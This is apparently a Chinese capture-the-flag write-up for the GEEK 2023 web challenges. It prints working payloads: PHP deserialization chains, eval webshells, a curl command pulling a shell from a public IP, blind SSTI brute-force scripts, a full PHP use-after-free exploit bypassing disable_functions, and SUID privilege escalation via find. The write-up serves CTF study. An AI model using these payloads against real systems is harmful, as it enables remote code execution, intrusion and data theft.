十四届极客大挑战web部分wp

2024-02-24 09:10

本文主要是介绍十四届极客大挑战web部分wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Web

EzHttp

请求头大全

https://blog.csdn.net/weixin_45948229/article/details/122527709

源码提示

查看robots.txt

访问得到密码

登录得到提示

然后添加各种请求头

Via表示代理

$_SERVER['HTTP_O2TAKUXX']表示请求头O2TAKUXX

只有O2TAKUXX为GiveMeFlag才会输出flag

加上请求头得到flag   SYC{HttP_1s_E@sY}

Unsign

简单的反序列化

构造

<?phphighlight_file(__FILE__);class syc{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}}class lover{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}}$a=new syc();$b=new lover();$c=new web();$b->yxx=$c;$c->eva1='system';$c->interesting='ls /;cat /flag';$a->cuit=$b;var_dump(serialize($a));?> 

得到

获得flag  SYC{Jpliu6cxK0CeeEUXBf}

n00b_Upload

搞一个图片马,结尾写上马

上传抓包改后缀为php,并把马改成<?=eval($_POST['a']);因为对php过滤了。

上传得到路径

这道题不能用蚁剑连,要手输。

看根目录得到flag   SYC{L35OvStLIWQNQblEGN}

easy_php

上来给源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i'$_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

第一个if利用 preg_match在非多行模式下,$似乎会忽略在句尾的%0a

?构造syc=Welcome to GEEK 2023!%0a绕过

第二个if利用intval科学计数法绕过参考

https://blog.csdn.net/krafcc/article/details/134173212

 echo intval(1e10);              // 1410065408

 echo intval('1e10');            // 1

 echo intval('1e10'+1);          // 1410065409

构造lover=1e4

第三个if构造qw=1&yxx=1

第四个if利用php特性会把参数的特殊字符转化为_而[出现后后面的点号不会再被转义构造

SYC[GEEK.2023=Happy to see you!

最终payload

?syc=Welcome%20to%20GEEK%202023!%0a&lover=1e4

qw=1&yxx=1&SYC[GEEK.2023=Happy to see you!

ctf_curl

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address $_GET['addr'];
    if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i"$address)){
        $result system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

没有回显但可下载文件curl -o 参数可以下载

Payload ?addr=47.115.224.138/shell.txt -o shell.php

ip为公网ip上传木马

访问shell.php然后命令执行

klf_ssti

源码提示hack

访问hack

Get传参klf回显个图片

注入也回显图片,但错误注入会报错

判断可以报错注入,但我这里是时间盲注

给出脚本主要用了爆破eval位置和爆破flag,爆破flag可以修改命令参数ls爆破目录

import requests
import time#爆破 eval() 位置
#转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入请求参数:")
for i in range(500):# 发送请求并记录开始时间start_time = time.time()data = {request_parameter: " {{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}# post data 也可以改成这样,原因见{{}}过滤的绕过方法# {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_time# 如果响应时间大于 3s ,则绿色字体输出在控制台if response_time >= 3:print("\033[32m bingo: " + str(i) + "\033[0m", end="\t")# 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度else:print("\033[31mnonono: " + str(i) + "\033[0m", end="\t")# 通过脚本爆破 flag 长度
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
for len in range(1, 40):start_time = time.time()data = {request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l==" + str(len) + "%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_timeif response_time >= 3:print("\033[32m" + str(len) + "\033[0m", end="\t")else:print("\033[31m" + str(len) + "\033[0m", end="\t")# for i in range(200):
#     payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval']}}"
#     url = 'https://wln492rb2arqlrx8h9vfbp516.node.game.sycsec.com/hack?klf=' + payload
#     r = requests.get(url)
#     if 'klf别想' in r.text:
#         print(i)# 爆破flag
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(200):low = 0high = len(cs)while low < high:index = low + (high - low) // 2start_time = time.time()# request_parameter 为 post 传入数据的参数名,根据实际情况输入data = {request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat ../../fl4gfl4gfl4g\").read()')%}{%if flag[" + str(i) + "]=='" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag[" + str(i) + "]>'" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_timeif response_time >= 2 and response_time <= 4:flag += cs[index]print(cs[index], end='\t')low = highelif response_time > 4:low = index + 1else:high = index
print("\n" + flag)

最后爆出目录,执行命令cat ../../fl4gfl4gfl4g爆出flag时间有点漫长

ez_remove

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

反序列化但有抛出异常,需要绕过不然__destruct不会执行。

利用php GC垃圾回收机制让__destruc提前触发。

<?phpshow_source(__FILE__);class syc{public $lover="system('whoami')";public function __destruct(){eval($this->lover);}}$a=array(new syc,0);//$a=new syc;echo serialize($a);//echo urlencode('lover');

得到a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:16:"system('whoami')";}i:1;i:0;}

把最后的大括号去掉或者把i:0改为i:1就可以提前触发

但过滤了lover,需要编码绕过

a:2:{i:0;O:3:%22syc%22:1:{S:5:%22\6c\6f\76\65\72%22;s:18:%22eval($_POST[%27a%27]);%22;}i:1;i:0;

其中s改成大写会把后面字符当做16进制处理

成功执行

post传参a=phpinfo();发现disable_functions过滤了

system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen

采用a=var_dump(scandir(‘/’));发现报错open_basedir restriction in effect.

需要绕过open_basedir用uaf绕过

用其他大佬的payload

function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() {global $backtrace;unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4);write($abc, 0xd0 + 0x68, $zif_system);($helper->b)($cmd);exit();}ctfshow("ls /");ob_end_flush();?>

url编码后传入

改命令为Cat /f1ger得到flag  SYC{suWgnuq8cpTtRNnHql}

ez_path

反编译得到代码

# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py# Compiled at: 2023-08-26 01:33:29# Size of source mod 2**32: 2076 bytesimport os, uuidfrom flask import Flask, render_template, request, redirectapp = Flask(__name__)ARTICLES_FOLDER = 'articles/'articles = []class Article:def __init__(self, article_id, title, content):self.article_id = article_idself.title = titleself.content = contentdef generate_article_id():return str(uuid.uuid4())@app.route('/')def index():return render_template('index.html', articles=articles)@app.route('/upload', methods=['GET', 'POST'])def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/')else:return render_template('upload.html')@app.route('/article/<article_id>')def article(article_id):for article in articles:if article.article_id == article_id:title = article.titlesanitized_title = sanitize_filename(title)article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, 'r') as (file):content = file.read()return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)return render_template('error.html')def save_article(article_id, title, content):sanitized_title = sanitize_filename(title)article_path = ARTICLES_FOLDER + '/' + sanitized_titlewith open(article_path, 'w') as (file):file.write(content)def sanitize_filename(filename):sensitive_chars = [':', '*', '?', '"', '<', '>', '|', '.']for char in sensitive_chars:filename = filename.replace(char, '_')return filenameif __name__ == '__main__':app.run(debug=True)# okay decompiling /tmp/655ed4512069f.pyc

这里把传入的title参数经过sanitize_filename过虑在os.path.join把articles/和title拼接

这里os.path.join存在漏洞

os.path.join(path1,path2)

如果path2的第一个字符是‘/’,那么返回的拼接路径中path1并没有包含。

也就是返回的路径为path2

我们现在只需知道flag路径就可以得到flag

F12看源码得到提示

构造title为/f14444然后点击访问得到flag  SYC{vAd3ntyVyg7ha1n0pg}

you konw flask?

这题是flask 伪造session

先注册一个用户登录

我们要伪造教练身份登录

扫描目录发现robots.txt

查看发现/3ysd8.html目录访问查看源码得到secret_key

app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'

用脚本跑

把登录后的cookie复制替换

#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
import base64
import random
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM:def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)if __name__ == "__main__":cnt = 1# key = "wanbaoMjU=wanbao"# print(FSCM.encode(key, "{'is_admin': True, 'name': 'w1eat', 'user_id': 2}"))while True:cookie_value = 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3MWVhdCJ9.ZV77PA.BkqePOXAYWF71CWfFOk3UTsgGEo'secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'if secret_key:result = FSCM.decode(cookie_value, secret_key)else:result = FSCM.decode(cookie_value)cnt += 1print(result, cnt)if 'is_admin' in result:print(result, secret_key, 'YES')break

得到secret_key

wanbaoNg==wanbao

然后伪造{'is_admin': True, 'name': 'w1eat', 'user_id': 2}

得到cookie替换原cookie成功伪造教练得到flag  SYC{0Hwo90jpxJGcAvWqtj}

Pupyy_rce

无参rce过滤了env|var|session|header只有dirname访问了

查看当前目录文件print_r(scandir(getcwd()));

fl@g.php在中间不好用pos,next这些函数获取了只能随机访问

show_source(array_rand(array_flip(scandir(getcwd()))));

多访问几遍就得到flag了  SYC{fwu5pvBsYluvQq6XJ6}

famale_imp_l0ve

源码提示include.php访问发现文件包含,可以把txt,zip当做php文件

但必须要是.jpg后缀才能包含

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

考虑00截断但\x00的截断在php>5.3.4就没用了

只有php伪协议

这种情况下就可以使用phar://或zip://

Payload  zip://1.zip#1.jpg

zip和phar不同的是zip必须使用绝对路径(在指定压缩包位置的时候),而phar可以使用相对路径也可以使用绝对路径

先上传一个木马图片压缩后的压缩包记住路径等会要包含

Include.php构造payload ?file=zip://upload/1.zip%231.jpg

post传参a=system(‘cat /flag’);得到flag;

EzRce

过滤了一些字符

爆破出来然后把可见的字符构成t,然后异或绕过

import requests
from requests_toolbelt.utils.formdata import urlencodevalid = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@$%^*(){}[];\'\",.<>/?-=_`~ "
t = '<=>?@AELV[\]^_`aelv|!"#$%&\'()*+,-./:;¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ'
# t = ''
# url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data='
# for i in range(256):
#     url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data=' + chr(i)
#     r = requests.get(url)
#     if "</code>no!" not in r.text:
#         t += chr(i)
print(t)
while True:answer = str(input("请输入进行异或构造的字符串:"))tmp1, tmp2 = '', ''for c in answer:for i in t:for j in t:if (ord(i) ^ ord(j) == ord(c)):tmp1 += itmp2 += jbreakelse:continuebreakprint("tmp1为:", tmp1)print("tmp2为:", tmp2)

eval没过滤构造eval(eval($_POST[‘a’]);)

Payload eval((%22%3EL%3C@^A%3E%3C`?v%3E[%3C[%3CE[%22^%22[:],veal/l\%22e|]|al`%22));

也可以通过无参rce中session_id我试过很麻烦

Post传参a=phpinfo();

发现disable_function

过滤了很多函数但没有过滤proc_open()

构造payload

a=$command="ls"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024);}

但是执行tac /flag时反应file /flag发现没权限

开始suid提权

find / -perm -u=s -type f 2>/dev/null查找root权限的命令

touch anyfile #必须要有这个文件

find anyfile -exec whoami \;

Cat /flag得到flag SYC{ThE_RCe is S0 Eas1ly_DD!}

scan_tool

传入127.0.0.1’发现对’转义了

抓包发送空字符发现报错

应该是escapeshellarg()和escapeshellcmd()漏洞

传入的参数是:172.17.0.2' -v -d a=1

经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义

最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

Nmap 可以写入文件和读文件

这道题对?过滤了写马方式行不通

只有读文件

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

-iL 从文件读取

Payload ' 127.0.0.1 '可以让转义后的单引号闭合

这道题还过滤了危险参数不能用-iL了但可以用-i

Payload ip=' 127.0.0.1 -i /flag -oA 1 '

访问1.nmap得到flag   SYC{YSJBpSvTpEggTvq0dG}

klf_2

扫描网站得到robots.txt有一个/secr3ttt目录

访问传入klf参数

发现可以回显

测试{{1}}注入回显1

存在ssti注入

测试得到过滤了单引号,双引号,中括号,下划线,和一些数字

参考https://blog.csdn.net/weixin_52635170/article/details/129850863

获取下划线

通过lipsum|string|list中获取。

{%print lipsum|string|list%}

获取pop方法

pop被过滤了要通过拼接获取

{%set pop=dict(po=a,p=b)|join%}

得到下划线

{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}

os字符,get,popen,read字符串都通过pop=dict(ge=a,t=b)|join方法获取

{%set shell=dict(o=a,s=b)|join%}

{%set get=dict(get=a)|join%}

{%set po=dict(po=a,pen=b)|join%}

{%set re=dict(re=a,ad=b)|join%}

获得__globals__

{%set g=dict(glo=a,bals=b)|join%}

{%set  go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}

构造执行命令

cmd=dict(wh=a,oami=b)|join%}

但是当要执行ls /和ls ../发现执行失败过滤了空格和/和.

{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd)|attr(re)()%}{%print result%}

考虑构造char获取字符来绕过

__builtins__构造

{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}

获取chr模块,chr也被过滤了

{%set ch=dict(c=a,hr=b)|join%}

{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}

Char(32),char(46)分别为空格和点

但/不能构造因为47被过滤了

但是可以通过字符串类型转换绕过

{%set fxg2=(4,7)|join|int%}

{%set fxg=char(fxg2)%}

构造一个文件变量来访问文件

{%set fil=dict(flag=b)|join%}

最后构造命令ls ./发现flag文件但是假的

cmd=dict(l=a,s=b)|join%}

{%set cmd2=(cmd,char(32),char(46),fxg)|join%}

构造ls ../../发现fl4gfl4gfl4g

cmd=dict(l=a,s=b)|join%}

{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg)|join%}

最后构造cat ../../fl4gfl4gfl4g得到flag

最终payload

{%set p=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(p)(24)%}{%set g=dict(glo=a,bals=b)|join%}{%set  go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}{%set shell=dict(o=a,s=b)|join%}{%set get=dict(get=a)|join%}{%set po=dict(po=a,pen=b)|join%}{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}{%set ch=dict(c=a,hr=b)|join%}{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}{%set cmd=dict(c=a,at=b)|join%}{%set re=dict(re=a,ad=b)|join%}{%set fxg2=(4,7)|join|int%}{%set fxg=char(fxg2)%}{%set fil=dict(fl4gfl4gfl4g=b)|join%}{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg,fil)|join%}{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd2)|attr(re)()%}{%print result%}

klf_3

Klf_2的payload直接能用

Ezpython

下载源码发现merge合并函数

和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性

但这道题可以不用污染直接替换

比如

src = {

    'key1': 'value1',

    'key2': {

        'nested_key1': 'nested_value1',

        'nested_key2': 'nested_value2'

    },

    'key3': 'value3'

}

dst = {

    'key1': 'original_value1',

    'key4': 'original_value4'

}

我们可以调用 merge(src, dst) 来合并这两个字典:

merge(src, dst)

合并后的 dst 字典的内容如下:

{

    'key1': 'value1',

    'key2': {

        'nested_key1': 'nested_value1',

        'nested_key2': 'nested_value2'

    },

    'key3': 'value3',

    'key4': 'original_value4'

}

import jsonimport osfrom waf import wafimport importlibfrom flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)app.secret_key='jjjjggggggreekchallenge202333333'class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]@app.route('/')def hello_world():  # put application's code herereturn render_template("welcome.html")@app.route('/play')def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])def flag():user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")

构造payload用python发送

因为过滤了isvip可通过unicode编码,16进制编码,8进制编码绕过

因为是python发送所有/要转义

十六进制:\\x69\\x73\\x76\\x69\\x70

八进制:\\151\\163\\166\\151\\160

paload1 = {

   "username": "admin2",

   "password": "123456",

   "__init__": {

       "__globals__": {

           "User": {

               "\u0069\u0073\\u0076\u0069\u0070": “1”

           }

       }

   }

}

paload2 = {

    "username": "admin2",

    "password": "123456",

    "\u0069\u0073\u0076\u0069\u0070": “1”

}

data1和data2都可以,data1是污染链

可以用burp抓包sendRepeater不能使用只能intercept修改

访问/flag传入参数num=+123456789

Int(“+123456789”)会转化为123456789

get传参得到flag

Akane!

一来得到源码,一眼php反序列化

count(scandir($this->Akane))为要执行的危险函数

<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{public $Ruby;private $Aquamarine;public function __destruct(){$this->Ruby->func();}
}class Idol
{public $Akane;public function __wakeup(){$this->Akane = '/var/www/html/The************************.php';}public function __call($method,$args){$Kana = count(scandir($this->Akane));if ($Kana > 0) {die('Kurokawa Akane');} else {die('Arima Kana');}}
}$a = unserialize(base64_decode($_GET['tuizi']));?>

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

所以需要绕过__wakeup()防止$Akane;被重定义

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏"Hoshino":2:改为。"Hoshino":3:

O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:11:"glob://./The*";}s:19:"HoshinoAquamarine";N;}

但是这道题scandir没有回显只有

        if ($Kana 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }

判断

因此需要利用返回的字符串中是否存在 flag 文件字符串,这里可以通过glob协议利用匹配符号进行猜解, glob协议能够查找匹配的文件路径模式,当目标匹配不存在时会返回⻓度为0的数组,因此在这个地方能够通过不同的回显进行盲注。

比如var_dump(scandir(‘glob://./flag.php’));

如果当前路径没有flag.php会返回

array(0) {

}

因此count(scandir(‘glob://./flag.php’))的值为0

如果存在文件返回

array(1) {

  [0]=>

  string(4) "f1ag"

}

count(scandir(‘glob://./flag.php’))为1

因此可以通过盲注判断文件路径

/var/www/html/The************************.php

盲注脚本

import base64import requestsurl = 'https://xwy5nanf86d2mzhaqkuvhphku.node.game.sycsec.com/?tuizi='
flag = 'The'
for _ in range(1, 40):for i in range(32, 128):if i == 37 or i == 42 or i == 63 or i==62:continuepayload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(13+_)+':"glob://./'+flag+chr(i)+'*";}s:19:"HoshinoAquamarine";N;}'#print(url+param)# print(payload)payload = base64.b64encode(payload.encode())# print(payload.decode())res = requests.get(url + payload.decode())if 'Kurokawa Akane' in res.text:flag += chr(i)print(flag)break# 最后得到路径# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
# S4crEtF1AgFi1EByo2tak
# The************************.php
# TheS4crEtF1AgFi1EByo2takuXX.php

访问TheS4crEtF1AgFi1EByo2takuXX.php得到flag

这篇关于十四届极客大挑战web部分wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



